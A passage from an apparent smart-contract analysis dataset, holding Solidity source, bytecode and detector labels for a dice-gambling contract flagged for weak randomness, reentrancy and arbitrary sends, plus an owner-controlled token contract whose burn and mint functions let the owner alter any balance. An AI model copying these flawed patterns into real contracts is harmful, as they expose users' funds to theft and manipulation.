totalZTHWagered += _tkn.value;
}
// Finished the current bet of a player, if they have one
function finishBet() public
gameIsActive
returns (uint)
{
return _finishBet(true, msg.sender);
}
/*
* Pay winner, update contract balance
* to calculate new max bet, and send reward.
*/
function _finishBet(bool delete_it, address target) private returns (uint){
playerRoll memory roll = playerRolls[target];
require(roll.tokenValue > 0); // No re-entracy
require(roll.blockn != block.number);
// If the block is more than 255 blocks old, we can't get the result
// Also, if the result has already happened, fail as well
uint result;
if (block.number - roll.blockn > 255) {
result = 1000; // Cant win
} else {
// Grab the result - random based ONLY on a past block (future when submitted)
result = random(99, roll.blockn, target) + 1;
}
uint rollUnder = roll.rollUnder;
if (result < rollUnder) {
// Player has won!
// Safely map player profit
uint profit = calculateProfit(roll.tokenValue, rollUnder);
if (profit > maxProfit){
profit = maxProfit;
}
// Safely reduce contract balance by player profit
contractBalance = contractBalance.sub(profit);
emit LogResult(target, result, rollUnder, profit, roll.tokenValue, true);
// Update maximum profit
setMaxProfit();
// Prevent re-entracy memes
playerRolls[target] = playerRoll(uint200(0), uint48(0), uint8(0));
// Transfer profit plus original bet
ZTHTKN.transfer(target, profit + roll.tokenValue);
return result;
} else {
/*
* Player has lost
* Update contract balance to calculate new max bet
*/
emit LogResult(target, result, rollUnder, profit, roll.tokenValue, false);
/*
* Safely adjust contractBalance
* SetMaxProfit
*/
contractBalance = contractBalance.add(roll.tokenValue);
playerRolls[target] = playerRoll(uint200(0), uint48(0), uint8(0));
// No need to actually delete player roll here since player ALWAYS loses
// Saves gas on next buy
// Update maximum profit
setMaxProfit();
return result;
}
}
// TKN struct
struct TKN {address sender; uint value;}
// Token fallback to bet or deposit from bankroll
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool) {
require(msg.sender == ZTHTKNADDR);
if (_from == ZethrBankroll) {
// Update the contract balance
contractBalance = contractBalance.add(_value);
// Update the maximum profit
uint oldMaxProfit = maxProfit;
setMaxProfit();
emit MaxProfitChanged(oldMaxProfit, maxProfit);
return true;
} else {
TKN memory _tkn;
_tkn.sender = _from;
_tkn.value = _value;
uint8 chosenNumber = uint8(_data[0]);
_playerRollDice(chosenNumber, _tkn);
}
return true;
}
/*
* Sets max profit
*/
function setMaxProfit() internal {
emit CurrentContractBalance(contractBalance);
maxProfit = (contractBalance * maxProfitAsPercentOfHouse) / maxProfitDivisor;
}
// Only owner adjust contract balance variable (only used for max profit calc)
function ownerUpdateContractBalance(uint newContractBalance) public
onlyOwner
{
contractBalance = newContractBalance;
}
// Only owner address can set maxProfitAsPercentOfHouse
function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public
onlyOwner
{
// Restricts each bet to a maximum profit of 20% contractBalance
require(newMaxProfitAsPercent <= 200000);
maxProfitAsPercentOfHouse = newMaxProfitAsPercent;
setMaxProfit();
}
// Only owner address can set minBet
function ownerSetMinBet(uint newMinimumBet) public
onlyOwner
{
minBet = newMinimumBet;
}
// Only owner address can transfer ZTH
function ownerTransferZTH(address sendTo, uint amount) public
onlyOwner
{
// Safely update contract balance when sending out funds
contractBalance = contractBalance.sub(amount);
// update max profit
setMaxProfit();
require(ZTHTKN.transfer(sendTo, amount));
emit LogOwnerTransfer(sendTo, amount);
}
// Only owner address can set emergency pause #1
function ownerPauseGame(bool newStatus) public
onlyOwner
{
gamePaused = newStatus;
}
// Only owner address can set bankroll address
function ownerSetBankroll(address newBankroll) public
onlyOwner
{
ZTHTKN.approve(ZethrBankroll, 0);
ZethrBankroll = newBankroll;
ZTHTKN.approve(newBankroll, MAX_INT);
}
// Only owner address can set owner address
function ownerChangeOwner(address newOwner) public
onlyOwner
{
owner = newOwner;
}
// Only owner address can selfdestruct - emergency
function ownerkill() public
onlyOwner
{
ZTHTKN.transfer(owner, contractBalance);
selfdestruct(owner);
}
function dumpdivs() public{
ZethrBankroll.transfer(address(this).balance);
}
function _zthToken(address _tokenContract) private view returns (bool) {
return _tokenContract == ZTHTKNADDR;
// Is this the ZTH token contract?
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
|
0x6080604052600436106101745763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166304fcadf181146101765780630dda350f1461019d578063219df7ee146101b257806323214fab146101e35780633a4f6999146101f85780634025b5a81461020d57806343c1598d146102255780634f44728d1461023a57806355b930311461025b5780635e968a491461027057806361990759146102885780636cdf4c90146102ac5780636eacd48a146102c45780637c67ffe7146102de5780638701a2f0146102ff5780638b7afe2e146103145780638da5cb5b146103295780639619367d1461033e578063a948d72d14610353578063b539cd5514610368578063befa1e2f1461037d578063c0ee0b8a14610392578063c3de1ab91461040f578063ca9defb714610424578063ccd50d2814610448578063d263b7eb1461049b578063d667dcd7146104b0578063e5c774de146104c5578063f21502e5146104da575b005b34801561018257600080fd5b5061018b6104ef565b60408051918252519081900360200190f35b3480156101a957600080fd5b506101746104f5565b3480156101be57600080fd5b506101c7610532565b60408051600160a060020a039092168252519081900360200190f35b3480156101ef57600080fd5b5061018b610541565b34801561020457600080fd5b5061018b610547565b34801561021957600080fd5b5061017460043561054c565b34801561023157600080fd5b5061018b61056d565b34801561024657600080fd5b50610174600160a060020a0360043516610574565b34801561026757600080fd5b5061018b6105c5565b34801561027c57600080fd5b506101746004356105ca565b34801561029457600080fd5b5061018b600435600160a060020a0360243516610603565b3480156102b857600080fd5b506101746004356106a4565b3480156102d057600080fd5b5061017460043515156106c5565b3480156102ea57600080fd5b50610174600160a060020a03600435166106f4565b34801561030b57600080fd5b5061018b610871565b34801561032057600080fd5b5061018b610892565b34801561033557600080fd5b506101c7610898565b34801561034a57600080fd5b5061018b6108ac565b34801561035f57600080fd5b506101c76108b2565b34801561037457600080fd5b5061018b6108c1565b34801561038957600080fd5b5061018b6108c7565b34801561039e57600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526103fb948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506108cd9650505050505050565b604080519115158252519081900360200190f35b34801561041b57600080fd5b506103fb6109c3565b34801561043057600080fd5b50610174600160a060020a03600435166024356109cc565b34801561045457600080fd5b50610469600160a060020a0360043516610ae6565b60408051600160c860020a03909416845265ffffffffffff909216602084015260ff1682820152519081900360600190f35b3480156104a757600080fd5b50610174610b1d565b3480156104bc57600080fd5b5061018b610bf7565b3480156104d157600080fd5b5061018b610bfd565b3480156104e657600080fd5b506101c7610c03565b600a5481565b600154604051600160a060020a0390911690303180156108fc02916000818181858888f1935050505015801561052f573d6000803e3d6000fd5b50565b600354600160a060020a031681565b60075481565b606381565b6000546101009004600160a060020a0316331461056857600080fd5b600455565b620f424081565b6000546101009004600160a060020a0316331461059057600080fd5b60008054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b600281565b6000546101009004600160a060020a031633146105e657600080fd5b62030d408111156105f657600080fd5b600781905561052f610c12565b6040805183406020808301919091526c01000000000000000000000000600160a060020a0385160282840152825160348184030181526054909201928390528151600093918291908401908083835b602083106106715780518252601f199092019160209182019101610652565b5181516020939093036101000a600019018019909116921691909117905260405192018290039091209695505050505050565b6000546101009004600160a060020a031633146106c057600080fd5b600855565b6000546101009004600160a060020a031633146106e157600080fd5b6000805460ff1916911515919091179055565b6000546101009004600160a060020a0316331461071057600080fd5b600354600154604080517f095ea7b3000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526000602482018190529151929093169263095ea7b39260448083019360209383900390910190829087803b15801561078457600080fd5b505af1158015610798573d6000803e3d6000fd5b505050506040513d60208110156107ae57600080fd5b50506001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03838116918217909255600354604080517f095ea7b3000000000000000000000000000000000000000000000000000000008152600481019390935260001960248401525192169163095ea7b3916044808201926020929091908290030181600087803b15801561084257600080fd5b505af1158015610856573d6000803e3d6000fd5b505050506040513d602081101561086c57600080fd5b505050565b6000805460ff161561088257600080fd5b61088d600133610c59565b905090565b60045481565b6000546101009004600160a060020a031681565b60085481565b600154600160a060020a031681565b60065481565b60095481565b6000806108d86113ce565b600254600090600160a060020a031633146108f257600080fd5b600154600160a060020a03888116911614156109725760045461091b908763ffffffff6110c016565b600455600654925061092b610c12565b60065460408051858152602081019290925280517fc515cfc3ee14c6e587c5755cfe9e60d7779b40b2216c63bc3699111dcdd45a8d9281900390910190a1600193506109b9565b600160a060020a03871682526020820186905284518590600090811061099457fe5b016020015160f860020a9081900481020490506109b460ff8216836110d6565b600193505b5050509392505050565b60005460ff1681565b6000546101009004600160a060020a031633146109e857600080fd5b6004546109fb908263ffffffff61133716565b600455610a06610c12565b600354604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b158015610a7557600080fd5b505af1158015610a89573d6000803e3d6000fd5b505050506040513d6020811015610a9f57600080fd5b50511515610aac57600080fd5b6040518190600160a060020a038416907f42c501a185f41a8eb77b0a3e7b72a6435ea7aa752f8a1a0a13ca4628495eca9190600090a35050565b600b60205260009081526040902054600160c860020a0381169060c860020a810465ffffffffffff169060f860020a900460ff1683565b6000546101009004600160a060020a03163314610b3957600080fd5b6003546000805460048054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152610100909404600160a060020a039081169385019390935260248401919091525193169263a9059cbb92604480840193602093929083900390910190829087803b158015610bb857600080fd5b505af1158015610bcc573d6000803e3d6000fd5b505050506040513d6020811015610be257600080fd5b50506000546101009004600160a060020a0316ff5b60055481565b6103e881565b600254600160a060020a031681565b60045460408051918252517fdff64b0d3aeb3f517dce05c4a4b3f84c29fe10fa9c3390c3e85122da92101dee9181900360200190a1600754600454620f4240910204600655565b6000610c636113e5565b50600160a060020a0382166000908152600b6020908152604080832081516060810183529054600160c860020a03811680835260c860020a820465ffffffffffff169483019490945260f860020a900460ff16918101919091529190819081908110610cce57600080fd5b602084015165ffffffffffff16431415610ce757600080fd5b60ff846020015165ffffffffffff1643031115610d08576103e89250610d26565b610d206063856020015165ffffffffffff1688611349565b60010192505b836040015160ff16915081831015610f53578351610d4d90600160c860020a031683611368565b9050600654811115610d5e57506006545b600454610d71908263ffffffff61133716565b600455835160408051600160a060020a03891681526020810186905280820185905260608101849052600160c860020a039092166080830152600160a0830152517f34079d79bb31b852e172198518083b845886d3d6366fcff691718d392250a9899181900360c00190a1610de4610c12565b6040805160608101825260008082526020808301828152838501838152600160a060020a038c8116808652600b8552878620965187549451935178ffffffffffffffffffffffffffffffffffffffffffffffffff19909516600160c860020a03918216177fff000000000000ffffffffffffffffffffffffffffffffffffffffffffffffff1660c860020a65ffffffffffff90951694909402939093177effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1660f860020a60ff90951694909402939093179095556003548a5187517fa9059cbb0000000000000000000000000000000000000000000000000000000081526004810194909452909116870160248301529451949093169363a9059cbb93604480820194918390030190829087803b158015610f1d57600080fd5b505af1158015610f31573d6000803e3d6000fd5b505050506040513d6020811015610f4757600080fd5b509294508492506110b6565b835160408051600160a060020a03891681526020810186905280820185905260608101849052600160c860020a039092166080830152600060a0830152517f34079d79bb31b852e172198518083b845886d3d6366fcff691718d392250a9899181900360c00190a18351600454610fd891600160c860020a031663ffffffff6110c016565b6004556040805160608101825260008082526020808301828152838501838152600160a060020a038c168452600b90925293909120915182549351915178ffffffffffffffffffffffffffffffffffffffffffffffffff19909416600160c860020a03909116177fff000000000000ffffffffffffffffffffffffffffffffffffffffffffffffff1660c860020a65ffffffffffff90921691909102177effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1660f860020a60ff909316929092029190911790556110b2610c12565b8294505b5050505092915050565b6000828201838110156110cf57fe5b9392505050565b6110de6113e5565b60005460ff16156110ee57600080fd5b8160200151836006546111018383611368565b10801561111057506008548210155b801561111c5750600281115b80156111285750606381105b151561113357600080fd5b6020840151600160c860020a031161114a57600080fd5b65ffffffffffff431061115c57600080fd5b611165336113ba565b151561117057600080fd5b8351600160a060020a03166000908152600b602090815260409182902082516060810184529054600160c860020a038116825260c860020a810465ffffffffffff1692820183905260f860020a900460ff16928101929092529093504314156111d857600080fd5b602083015165ffffffffffff16156111fb576111f960008560000151610c59565b505b65ffffffffffff43811660208086019182528681018051600160c860020a03908116885260ff808b166040808b019182528b51600160a060020a039081166000908152600b88528290208c5181549951945190951660f860020a027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff94909a1660c860020a027fff000000000000ffffffffffffffffffffffffffffffffffffffffffffffffff9590961678ffffffffffffffffffffffffffffffffffffffffffffffffff19909916989098179390931693909317169590951790935587519051835191909416815290810192909252818101879052517fcfb6e9afebabebfb2c7ac42dfcd2e8ca178dc6400fe8ec3075bd690d8e3377fe9181900360600190a150506009805460010190555060200151600a8054909101905550565b60008282111561134357fe5b50900390565b6000836113568484610603565b81151561135f57fe5b06949350505050565b6000826103e86005548561138660018761133790919063ffffffff16565b61139787600163ffffffff61133716565b60640388028115156113a557fe5b0401028115156113b157fe5b04039392505050565b600254600160a060020a0390811691161490565b604080518082019091526000808252602082015290565b6040805160608101825260008082526020820181905291810191909152905600a165627a7a72305820f04510ad6768908e9477d0d3a9a5c050e93597f015f4366445549bd6113ea24a0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,352 |
0xeb021dd3e42dc6fdb6cde54d0c4a09f82a6bca29
|
pragma solidity ^0.4.18;
//
// FogLink OS Token
// Author: FNK
// Contact: support@foglink.io
// Telegram community: https://t.me/fnkofficial
//
contract FNKOSToken {
string public constant name = "FNKOSToken";
string public constant symbol = "FNKOS";
uint public constant decimals = 18;
uint256 fnkEthRate = 10 ** decimals;
uint256 fnkSupply = 1000000000;
uint256 public totalSupply = fnkSupply * fnkEthRate;
uint256 public minInvEth = 0.1 ether;
uint256 public maxInvEth = 100.0 ether;
uint256 public sellStartTime = 1524240000; // 2018/4/21
uint256 public sellDeadline1 = sellStartTime + 30 days;
uint256 public sellDeadline2 = sellDeadline1 + 30 days;
uint256 public freezeDuration = 30 days;
uint256 public ethFnkRate1 = 3600;
uint256 public ethFnkRate2 = 3600;
bool public running = true;
bool public buyable = true;
address owner;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public whitelist;
mapping (address => uint256) whitelistLimit;
struct BalanceInfo {
uint256 balance;
uint256[] freezeAmount;
uint256[] releaseTime;
}
mapping (address => BalanceInfo) balances;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event BeginRunning();
event PauseRunning();
event BeginSell();
event PauseSell();
event Burn(address indexed burner, uint256 val);
event Freeze(address indexed from, uint256 value);
function FNKOSToken () public{
owner = msg.sender;
balances[owner].balance = totalSupply;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyWhitelist() {
require(whitelist[msg.sender] == true);
_;
}
modifier isRunning(){
require(running);
_;
}
modifier isNotRunning(){
require(!running);
_;
}
modifier isBuyable(){
require(buyable && now >= sellStartTime && now <= sellDeadline2);
_;
}
modifier isNotBuyable(){
require(!buyable || now < sellStartTime || now > sellDeadline2);
_;
}
// mitigates the ERC20 short address attack
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
// 1eth = newRate tokens
function setPbulicOfferingPrice(uint256 _rate1, uint256 _rate2) onlyOwner public {
ethFnkRate1 = _rate1;
ethFnkRate2 = _rate2;
}
//
function setPublicOfferingLimit(uint256 _minVal, uint256 _maxVal) onlyOwner public {
minInvEth = _minVal;
maxInvEth = _maxVal;
}
function setPublicOfferingDate(uint256 _startTime, uint256 _deadLine1, uint256 _deadLine2) onlyOwner public {
sellStartTime = _startTime;
sellDeadline1 = _deadLine1;
sellDeadline2 = _deadLine2;
}
function transferOwnership(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function pause() onlyOwner isRunning public {
running = false;
PauseRunning();
}
function start() onlyOwner isNotRunning public {
running = true;
BeginRunning();
}
function pauseSell() onlyOwner isBuyable isRunning public{
buyable = false;
PauseSell();
}
function beginSell() onlyOwner isNotBuyable isRunning public{
buyable = true;
BeginSell();
}
//
// _amount in FNK,
//
function airDeliver(address _to, uint256 _amount) onlyOwner public {
require(owner != _to);
require(_amount > 0);
require(balances[owner].balance >= _amount);
// take big number as wei
if(_amount < fnkSupply){
_amount = _amount * fnkEthRate;
}
balances[owner].balance = safeSub(balances[owner].balance, _amount);
balances[_to].balance = safeAdd(balances[_to].balance, _amount);
Transfer(owner, _to, _amount);
}
function airDeliverMulti(address[] _addrs, uint256 _amount) onlyOwner public {
require(_addrs.length <= 255);
for (uint8 i = 0; i < _addrs.length; i++) {
airDeliver(_addrs[i], _amount);
}
}
function airDeliverStandalone(address[] _addrs, uint256[] _amounts) onlyOwner public {
require(_addrs.length <= 255);
require(_addrs.length == _amounts.length);
for (uint8 i = 0; i < _addrs.length; i++) {
airDeliver(_addrs[i], _amounts[i]);
}
}
//
// _amount, _freezeAmount in FNK
//
function freezeDeliver(address _to, uint _amount, uint _freezeAmount, uint _freezeMonth, uint _unfreezeBeginTime ) onlyOwner public {
require(owner != _to);
require(_freezeMonth > 0);
uint average = _freezeAmount / _freezeMonth;
BalanceInfo storage bi = balances[_to];
uint[] memory fa = new uint[](_freezeMonth);
uint[] memory rt = new uint[](_freezeMonth);
if(_amount < fnkSupply){
_amount = _amount * fnkEthRate;
average = average * fnkEthRate;
_freezeAmount = _freezeAmount * fnkEthRate;
}
require(balances[owner].balance > _amount);
uint remainAmount = _freezeAmount;
if(_unfreezeBeginTime == 0)
_unfreezeBeginTime = now + freezeDuration;
for(uint i=0;i<_freezeMonth-1;i++){
fa[i] = average;
rt[i] = _unfreezeBeginTime;
_unfreezeBeginTime += freezeDuration;
remainAmount = safeSub(remainAmount, average);
}
fa[i] = remainAmount;
rt[i] = _unfreezeBeginTime;
bi.balance = safeAdd(bi.balance, _amount);
bi.freezeAmount = fa;
bi.releaseTime = rt;
balances[owner].balance = safeSub(balances[owner].balance, _amount);
Transfer(owner, _to, _amount);
Freeze(_to, _freezeAmount);
}
function freezeDeliverMuti(address[] _addrs, uint _deliverAmount, uint _freezeAmount, uint _freezeMonth, uint _unfreezeBeginTime ) onlyOwner public {
require(_addrs.length <= 255);
for(uint i=0;i< _addrs.length;i++){
freezeDeliver(_addrs[i], _deliverAmount, _freezeAmount, _freezeMonth, _unfreezeBeginTime);
}
}
function freezeDeliverMultiStandalone(address[] _addrs, uint[] _deliverAmounts, uint[] _freezeAmounts, uint _freezeMonth, uint _unfreezeBeginTime ) onlyOwner public {
require(_addrs.length <= 255);
require(_addrs.length == _deliverAmounts.length);
require(_addrs.length == _freezeAmounts.length);
for(uint i=0;i< _addrs.length;i++){
freezeDeliver(_addrs[i], _deliverAmounts[i], _freezeAmounts[i], _freezeMonth, _unfreezeBeginTime);
}
}
// buy tokens directly
function () external payable {
buyTokens();
}
//
function buyTokens() payable isRunning isBuyable onlyWhitelist public {
uint256 weiVal = msg.value;
address investor = msg.sender;
require(investor != address(0) && weiVal >= minInvEth && weiVal <= maxInvEth);
require(safeAdd(weiVal,whitelistLimit[investor]) <= maxInvEth);
uint256 amount = 0;
if(now > sellDeadline1)
amount = safeMul(msg.value, ethFnkRate2);
else
amount = safeMul(msg.value, ethFnkRate1);
whitelistLimit[investor] = safeAdd(weiVal, whitelistLimit[investor]);
balances[owner].balance = safeSub(balances[owner].balance, amount);
balances[investor].balance = safeAdd(balances[investor].balance, amount);
Transfer(owner, investor, amount);
}
function addWhitelist(address[] _addrs) public onlyOwner {
require(_addrs.length <= 255);
for (uint8 i = 0; i < _addrs.length; i++) {
if (!whitelist[_addrs[i]]){
whitelist[_addrs[i]] = true;
}
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner].balance;
}
function freezeOf(address _owner) constant public returns (uint256) {
BalanceInfo storage bi = balances[_owner];
uint freezeAmount = 0;
uint t = now;
for(uint i=0;i< bi.freezeAmount.length;i++){
if(t < bi.releaseTime[i])
freezeAmount += bi.freezeAmount[i];
}
return freezeAmount;
}
function transfer(address _to, uint256 _amount) isRunning onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
uint freezeAmount = freezeOf(msg.sender);
uint256 _balance = safeSub(balances[msg.sender].balance, freezeAmount);
require(_amount <= _balance);
balances[msg.sender].balance = safeSub(balances[msg.sender].balance,_amount);
balances[_to].balance = safeAdd(balances[_to].balance,_amount);
Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) isRunning onlyPayloadSize(3 * 32) public returns (bool success) {
require(_from != address(0) && _to != address(0));
require(_amount <= allowed[_from][msg.sender]);
uint freezeAmount = freezeOf(_from);
uint256 _balance = safeSub(balances[_from].balance, freezeAmount);
require(_amount <= _balance);
balances[_from].balance = safeSub(balances[_from].balance,_amount);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender],_amount);
balances[_to].balance = safeAdd(balances[_to].balance,_amount);
Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) isRunning public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) {
return false;
}
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function withdraw() onlyOwner public {
require(this.balance > 0);
owner.transfer(this.balance);
Transfer(this, owner, this.balance);
}
function burn(address burner, uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender].balance);
balances[burner].balance = safeSub(balances[burner].balance, _value);
totalSupply = safeSub(totalSupply, _value);
fnkSupply = totalSupply / fnkEthRate;
Burn(burner, _value);
}
function mint(address _target, uint256 _amount) onlyOwner public {
if(_target == address(0))
_target = owner;
balances[_target].balance = safeAdd(balances[_target].balance, _amount);
totalSupply = safeAdd(totalSupply,_amount);
fnkSupply = totalSupply / fnkEthRate;
Transfer(0, this, _amount);
Transfer(this, _target, _amount);
}
}
|
0x6060604052600436106101ed5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146101f7578063095ea7b3146102815780630c3e564a146102b75780630ea7c8cd1461030857806318160ddd1461032a5780632111c0f91461034f57806323b872dd146103b1578063313ce567146103d957806334d05b1f146103ec5780633ccfd60b1461041757806340c10f191461042a578063440991bd1461044c57806355d8bbd51461045f57806359287ce914610472578063679019ba1461048b57806370a082311461056157806377dd8ea7146105805780637d4ce874146105935780638456cb59146105a657806388c7e397146105b957806395d89b41146105cc5780639754a7d8146105df578063984809bf146105f25780639aea020b1461060b5780639b19251a1461061e5780639dc29fac1461063d578063a9059cbb1461065f578063b885d56014610681578063be9a655514610710578063cb60f8b414610723578063cd4217c114610736578063d0febe4c146101ed578063d70b634214610755578063d85bd52614610768578063dd62ed3e1461077b578063e28a5e63146107a0578063e73140c1146107b3578063edac985b146107cf578063f2fde38b1461081e578063fd12c1cb1461083d575b6101f5610850565b005b341561020257600080fd5b61020a610a4f565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561024657808201518382015260200161022e565b50505050905090810190601f1680156102735780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561028c57600080fd5b6102a3600160a060020a0360043516602435610a86565b604051901515815260200160405180910390f35b34156102c257600080fd5b6101f560046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505093359350610b4492505050565b341561031357600080fd5b6101f5600160a060020a0360043516602435610bb6565b341561033557600080fd5b61033d610cf9565b60405190815260200160405180910390f35b341561035a57600080fd5b6101f56004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843750949650508435946020810135945060408101359350606001359150610cff9050565b34156103bc57600080fd5b6102a3600160a060020a0360043581169060243516604435610d71565b34156103e457600080fd5b61033d610f24565b34156103f757600080fd5b6101f5600160a060020a0360043516602435604435606435608435610f29565b341561042257600080fd5b6101f56111ef565b341561043557600080fd5b6101f5600160a060020a03600435166024356112a1565b341561045757600080fd5b61033d6113ac565b341561046a57600080fd5b6101f56113b2565b341561047d57600080fd5b6101f5600435602435611450565b341561049657600080fd5b6101f5600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496505084359460200135935061147c92505050565b341561056c57600080fd5b61033d600160a060020a036004351661152c565b341561058b57600080fd5b61033d611547565b341561059e57600080fd5b61033d61154d565b34156105b157600080fd5b6101f5611553565b34156105c457600080fd5b6102a36115bd565b34156105d757600080fd5b61020a6115cb565b34156105ea57600080fd5b6101f5611602565b34156105fd57600080fd5b6101f560043560243561169f565b341561061657600080fd5b61033d6116cb565b341561062957600080fd5b6102a3600160a060020a03600435166116d1565b341561064857600080fd5b6101f5600160a060020a03600435166024356116e6565b341561066a57600080fd5b6102a3600160a060020a03600435166024356117cc565b341561068c57600080fd5b6101f56004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506118e895505050505050565b341561071b57600080fd5b6101f561197b565b341561072e57600080fd5b61033d6119e7565b341561074157600080fd5b61033d600160a060020a03600435166119ed565b341561076057600080fd5b61033d611a6b565b341561077357600080fd5b6102a3611a71565b341561078657600080fd5b61033d600160a060020a0360043581169060243516611a7a565b34156107ab57600080fd5b61033d611aa5565b34156107be57600080fd5b6101f5600435602435604435611aab565b34156107da57600080fd5b6101f56004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843750949650611ada95505050505050565b341561082957600080fd5b6101f5600160a060020a0360043516611bb1565b341561084857600080fd5b61033d611c14565b600b546000908190819060ff16151561086857600080fd5b600b54610100900460ff16801561088157506005544210155b801561088f57506007544211155b151561089a57600080fd5b600160a060020a0333166000908152600d602052604090205460ff1615156001146108c457600080fd5b349250339150600160a060020a038216158015906108e457506003548310155b80156108f257506004548311155b15156108fd57600080fd5b600454600160a060020a0383166000908152600e6020526040902054610924908590611c1a565b111561092f57600080fd5b600090506006544211156109505761094934600a54611c30565b905061095f565b61095c34600954611c30565b90505b600160a060020a0382166000908152600e6020526040902054610983908490611c1a565b600160a060020a038084166000908152600e6020908152604080832094909455600b546201000090049092168152600f90915220546109c29082611c54565b600b54600160a060020a036201000090910481166000908152600f602052604080822093909355908416815220546109fa9082611c1a565b600160a060020a038084166000818152600f60205260409081902093909355600b5490926201000090910490911690600080516020611ce18339815191529084905190815260200160405180910390a3505050565b60408051908101604052600a81527f464e4b4f53546f6b656e00000000000000000000000000000000000000000000602082015281565b600b5460009060ff161515610a9a57600080fd5b8115801590610acd5750600160a060020a033381166000908152600c602090815260408083209387168352929052205415155b15610ada57506000610b3e565b600160a060020a033381166000818152600c6020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b600b5460009033600160a060020a03908116620100009092041614610b6857600080fd5b60ff83511115610b7757600080fd5b5060005b82518160ff161015610bb157610ba9838260ff1681518110610b9957fe5b9060200190602002015183610bb6565b600101610b7b565b505050565b600b5433600160a060020a03908116620100009092041614610bd757600080fd5b600b54600160a060020a0383811662010000909204161415610bf857600080fd5b60008111610c0557600080fd5b600b54620100009004600160a060020a03166000908152600f602052604090205481901015610c3357600080fd5b600154811015610c4257600054025b600b54620100009004600160a060020a03166000908152600f6020526040902054610c6d9082611c54565b600b54600160a060020a036201000090910481166000908152600f60205260408082209390935590841681522054610ca59082611c1a565b600160a060020a038084166000818152600f60205260409081902093909355600b5490926201000090910490911690600080516020611ce18339815191529084905190815260200160405180910390a35050565b60025481565b600b5460009033600160a060020a03908116620100009092041614610d2357600080fd5b60ff86511115610d3257600080fd5b5060005b8551811015610d6957610d61868281518110610d4e57fe5b9060200190602002015186868686610f29565b600101610d36565b505050505050565b600b546000908190819060ff161515610d8957600080fd5b60606064361015610d9657fe5b600160a060020a03871615801590610db65750600160a060020a03861615155b1515610dc157600080fd5b600160a060020a038088166000908152600c602090815260408083203390941683529290522054851115610df457600080fd5b610dfd876119ed565b600160a060020a0388166000908152600f6020526040902054909350610e239084611c54565b915081851115610e3257600080fd5b600160a060020a0387166000908152600f6020526040902054610e559086611c54565b600160a060020a0380